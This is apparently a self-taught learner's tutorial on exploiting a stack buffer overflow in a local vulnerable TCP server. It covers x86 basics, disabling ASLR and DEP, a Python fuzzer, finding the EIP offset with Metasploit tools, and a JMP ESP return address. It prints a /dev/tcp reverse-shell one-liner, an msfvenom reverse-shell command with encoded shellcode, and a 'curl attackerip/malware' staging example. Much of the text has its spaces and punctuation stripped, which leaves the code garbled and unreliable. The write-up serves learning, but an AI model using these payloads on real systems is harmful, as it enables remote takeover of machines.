movmdashMove(Opcodes88898A8B8C8E)
The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)
into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct
memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded
intoaregisterthencanbestoredtothedestinationmemoryaddress
Syntax
movltreggtltreggt
movltreggtltmemgt
movltmemgtltreggt
movltreggtltconstgt
movltmemgtltconstgt
Examples
moveaxebxmdashcopythevalueinebxintoeax
movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar
pushmdashPushstack(OpcodesFF898A8B8C8E)
The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements
ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by
pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses
Syntax
pushltreg32gt
pushltmemgt
pushltcon32gt
Examples
pusheaxmdashpusheaxonthestack
push[var]mdashpushthe4bytesataddressvarontothestack
popmdashPopstack
The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie
register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location
andthenincrementsSPby4
Syntax
popltreg32gt
popltmemgt
Examples
popedimdashpopthetopelementofthestackintoEDI
pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX
leamdashLoadeffectiveaddress
The lea instruction places the address specified by its second operand into the register specified by its first operand Note the
contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for
obtainingapointerintoamemoryregion
Syntax
lealtreg32gtltmemgt
Examples
leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI
leaeax[var]mdashthevalueinvarisplacedinEAX
leaeax[val]mdashthevaluevalisplacedinEAX
In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly
commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So
letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized
everythingquitenicely
On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out
The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math
function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob
maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo
SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd
thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe
higherlevelcode
IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis
pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour
instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick
theprogramintoexecutingyourmalwarewiththeprogramspermissions
OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware
LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand
overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer
1 TheaddressofvulnReadstartsatmemoryaddress78dinhex
2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge
isallocatedasalocalvariable
791 81ec14040000 sub$0x414esp
3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare
reservedforbufferbutrememberthatBUFFER_SIZE=1024
8d85f0fbffff lea-0x410(ebp)eax
4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory
locationsUntilfinally
5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt
defineBUFFER_SIZE1024
defineHEADER_SIZE4
EIP(ReturnAddresstonextfunction)
EBPofVuln_Read(BasePointer)
to_read
buffer
read_bytes
Lastvariable(StackPointer)
So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored
andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction
(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036
availablebytesLetrsquosbreakthatdown
1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)
AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos
thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful
outsidethecontextoflearning
Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe
reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo
ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory
locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor
laterourldquomalwarerdquo
Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe
computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe
pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto
IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin
ourprogram
Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers
EnoughtheoryshowmeTheCode
DisablingDEPASLR
YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow
ASLR-Linux
echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline
-fstack-protector-Waexecstack
Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB
compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor
gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337
OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
